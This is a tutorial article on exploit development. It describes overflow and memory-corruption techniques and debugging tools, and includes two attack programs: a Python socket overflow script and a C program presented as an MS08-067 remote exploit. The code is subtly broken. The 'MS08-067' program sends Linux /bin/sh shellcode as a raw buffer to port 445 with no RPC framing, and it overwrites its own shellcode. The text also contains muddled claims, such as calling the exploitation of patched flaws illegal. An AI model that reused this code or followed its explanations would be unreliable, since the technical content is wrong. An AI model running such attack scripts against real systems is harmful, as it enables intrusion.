Exploit Development - Introduction and Techniques

Exploit development is an essential skill that every penetration tester and red team member should possess. It involves finding and exploiting vulnerabilities in software applications or systems to gain unauthorized access to them. Exploit development can be used to test the security of a system, but it can also be used maliciously by hackers to gain unauthorized access to sensitive information. In this article, I will introduce you to the fundamentals of exploit development and various techniques that can be used to develop exploits.

Exploit Development Fundamentals

Exploit development is a complex and time-consuming process that involves several stages, including reconnaissance, vulnerability discovery, and exploit creation. The following are the key stages of exploit development:

Reconnaissance: This stage involves gathering information about the target system or application. The information gathered includes the operating system, installed applications, network topology, and available ports. Reconnaissance can be done manually or by using automated tools such as Nmap, Metasploit, or OpenVAS.
Vulnerability Discovery: This stage involves identifying vulnerabilities in the target system or application. Vulnerability discovery can be done using a variety of techniques, including static analysis, dynamic analysis, and fuzzing.
Exploit Creation: This stage involves creating an exploit to take advantage of the identified vulnerability. An exploit is a piece of code that takes advantage of a vulnerability to gain unauthorized access to a system or application. The exploit code can be written in various programming languages, including Python, C, C++, and Assembly.

Exploit Development Techniques

There are several techniques that can be used to develop exploits. The following are some of the most commonly used techniques:

Stack-based Buffer Overflow: This technique involves overwriting the return address of a function in the program stack with a malicious address. The attacker can then execute arbitrary code by redirecting the program flow to the malicious address.
Heap-based Buffer Overflow: This technique involves overwriting a heap buffer with a malicious address. The attacker can then execute arbitrary code by redirecting the program flow to the malicious address.
Integer Overflow: This technique involves overflowing an integer variable to cause unexpected behavior in the program. The attacker can then take advantage of the unexpected behavior to gain unauthorized access to the system or application.
Use-after-Free: This technique involves taking advantage of a pointer to a freed memory block. The attacker can then use the pointer to execute arbitrary code or gain unauthorized access to the system or application.
Format String Vulnerability: This technique involves exploiting a vulnerability in a program’s input/output functions. The attacker can then use the vulnerability to execute arbitrary code or gain unauthorized access to the system or application.

Exploit Development Tools

There are several tools that can be used to develop exploits. The following are some of the most commonly used tools:

Immunity Debugger: This is a powerful debugger that can be used to develop exploits for Windows systems. It has several features, including breakpoint management, memory analysis, and shellcode generation.
GDB: This is a popular debugger for Unix-based systems. It can be used to analyze and debug programs and to develop exploits.
Metasploit: This is a penetration testing framework that includes several tools for exploit development, including an exploit development kit, a payload generator, and a post-exploitation module.
IDA Pro: This is a popular disassembler and debugger that can be used to analyze and reverse engineer binary code. It can be used to develop exploits for various operating systems and architectures.

Example Exploit Development

To illustrate the exploit development process, I will walk you through an example exploit for a stack-based buffer overflow vulnerability in a fictional application. The application takes a user input and copies it to a fixed-size buffer without performing any bounds checking. The vulnerability can be exploited by sending a specially crafted input that overwrites the return address of a function in the program stack with a malicious address. The attacker can then execute arbitrary code by redirecting the program flow to the malicious address.

The first step in developing the exploit is to identify the vulnerable function and the exact location of the buffer overflow vulnerability. This can be done using a debugger such as Immunity Debugger or GDB.

Once the vulnerability has been identified, the next step is to develop the exploit code. The exploit code should include the following:

A payload: This is the code that will be executed by the exploit to gain unauthorized access to the system or application. The payload can be written in various programming languages, including Python, C, C++, and Assembly.
A shellcode: This is a piece of code that is injected into the target system’s memory and executed by the payload. The shellcode can be written in various programming languages, including Assembly and C.
The return address: This is the address to which the program should return after executing the vulnerable function. The return address should be overwritten with the address of the shellcode in the target system’s memory.

The following is an example of a Python script that exploits a stack-based buffer overflow vulnerability:

#!/usr/bin/env python

import socket

# IP address and port of the target system
ip_address = "192.168.1.100"
port = 1234

# The buffer that will be overflowed
buffer = "A" * 500

# The address of the shellcode in memory
shellcode_address = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

# The return address that will be overwritten
return_address = "\x41\x41\x41\x41"

# The payload that will be sent to the target system
payload = buffer + return_address + shellcode_address

# Create a TCP socket and connect to the target system
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))

# Send the payload to the target system
s.send(payload)

# Close the socket
s.close()

The above script sends a payload to the target system that consists of 500 bytes of ‘A’s followed by the return address and the address of the shellcode in memory. The exploit will overwrite the return address with the address of the shellcode in memory, causing the program to execute the shellcode.

Real World Example

In this section, I will demonstrate how to write an exploit against an older, patched vulnerability using C as the programming language. The vulnerability we will use for this demonstration is the MS08-067 vulnerability, which was patched by Microsoft in October 2008. This vulnerability allows an attacker to execute arbitrary code on a remote system by sending a specially crafted RPC request.

To write the exploit, we will use the following steps:

Identify the vulnerability: The first step is to identify the vulnerability and understand how it can be exploited. In this case, we know that the vulnerability is in the Microsoft Server service and can be exploited by sending a specially crafted RPC request.

Develop the exploit code: The next step is to develop the exploit code that will take advantage of the vulnerability. In this case, we will use a stack-based buffer overflow to overwrite the return address of a function in the Server service with the address of our shellcode. The shellcode will then be executed when the function returns, giving us a remote shell on the target system.

The following is an example code that demonstrates how to exploit the MS08-067 vulnerability:

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")

#define BUFFER_SIZE 1024
#define NOP 0x90

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv) {
    char buffer[BUFFER_SIZE];
    SOCKET s;
    WSADATA wsaData;
    struct sockaddr_in server;

    if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) {
        printf("WSAStartup failed.\n");
        return 1;
    }

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(445);
    server.sin_addr.s_addr = inet_addr("<target IP>");

    if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) {
        printf("Connect failed.\n");
        return 1;
    }

    memset(buffer, NOP, BUFFER_SIZE);
    memcpy(buffer + 205, shellcode, strlen(shellcode));
    *(unsigned int *)(buffer + 208) = 0x7c86e7d8;

    send(s, buffer, strlen(buffer), 0);

    closesocket(s);
    WSACleanup();

    return 0;
}

The code creates a socket and connects to the target system on port 445, which is the port used by the Server service. It then constructs a buffer that contains a NOP sled, the shellcode, and the address of the return address on the stack. The buffer is sent to the target system using the send() function.

Test the exploit: The final step is to test the exploit and verify that it works as expected. In this case, we would need to test the exploit against a vulnerable system running the MS08-067 vulnerability.

It is important to note that writing an exploit for a patched vulnerability is illegal and unethical unless you have permission from the system owner to perform the exploit. The purpose of this demonstration is to show the process of writing an exploit and to emphasize the importance of patching vulnerabilities to prevent attacks.

Exploit Development Best Practices

Exploit development requires strong coding skills and adherence to best practices to ensure that the resulting exploit code is secure and reliable. In addition, responsible disclosure of the exploit is essential to ensure that vulnerabilities are patched and systems are made more secure. In this section, we will discuss coding best practices for exploit development and responsible disclosure practices.

Safe coding practices: Safe coding practices should be followed to ensure that the exploit code is secure and free from vulnerabilities. This includes using memory-safe programming languages such as Rust and Go, avoiding buffer overflows, and ensuring that all input is properly validated. It is also important to avoid using hardcoded values and to ensure that the code is well-documented and easy to understand.
Testing: Testing is an essential part of exploit development. It is important to thoroughly test the exploit before using it on a live system. This includes testing the exploit against different configurations of the target system and ensuring that it does not crash or cause unexpected behavior. It is also important to test the exploit on a test environment that simulates the target system before testing it on the actual system.
Responsible disclosure: Responsible disclosure is the process of reporting a vulnerability to the vendor or organization responsible for the affected system or application. It is important to ensure that the vulnerability is reported in a timely and responsible manner to minimize the risk of exploitation. This involves following a responsible disclosure policy, which includes notifying the vendor of the vulnerability, providing them with adequate time to develop and release a patch, and ensuring that the vulnerability is not publicly disclosed until a patch is available.
Non-Disclosure Agreements (NDAs): Non-Disclosure Agreements are often used in exploit development to ensure that the vulnerability and the exploit code are not publicly disclosed until a patch is available. NDAs can be used between the researcher and the vendor, or between the researcher and a third-party organization that coordinates responsible disclosure.
Coordinated vulnerability disclosure: Coordinated vulnerability disclosure involves the cooperation of the researcher, the vendor, and any relevant third-party organizations in the responsible disclosure process. This involves reporting the vulnerability to the vendor, providing them with adequate time to develop and release a patch, and coordinating the public disclosure of the vulnerability to minimize the risk of exploitation.

In conclusion, safe coding practices are essential for exploit development to ensure that the resulting exploit code is secure and reliable. Responsible disclosure is also essential to ensure that vulnerabilities are patched and systems are made more secure. It is important to follow a responsible disclosure policy and to work with the vendor and relevant third-party organizations to coordinate the disclosure of the vulnerability. NDAs can also be used to ensure that the vulnerability and exploit code are not publicly disclosed until a patch is available.

Conclusion

Exploit development is a critical skill for penetration testers and red team members. It involves finding and exploiting vulnerabilities in software applications or systems to gain unauthorized access to them. Exploit development can be used to test the security of a system, but it can also be used maliciously by hackers to gain unauthorized access to sensitive information. In this article, I introduced you to the fundamentals of exploit development and various techniques and tools that can be used to develop exploits. I also provided an example of how to develop an exploit for a stack-based buffer overflow vulnerability. With the right skills and tools, you can develop exploits that can be used to improve the security of your systems or applications.

Exploit Development Fundamentals¶

Exploit Development Techniques¶

Exploit Development Tools¶

Example Exploit Development¶

Real World Example¶

Exploit Development Best Practices¶

Conclusion¶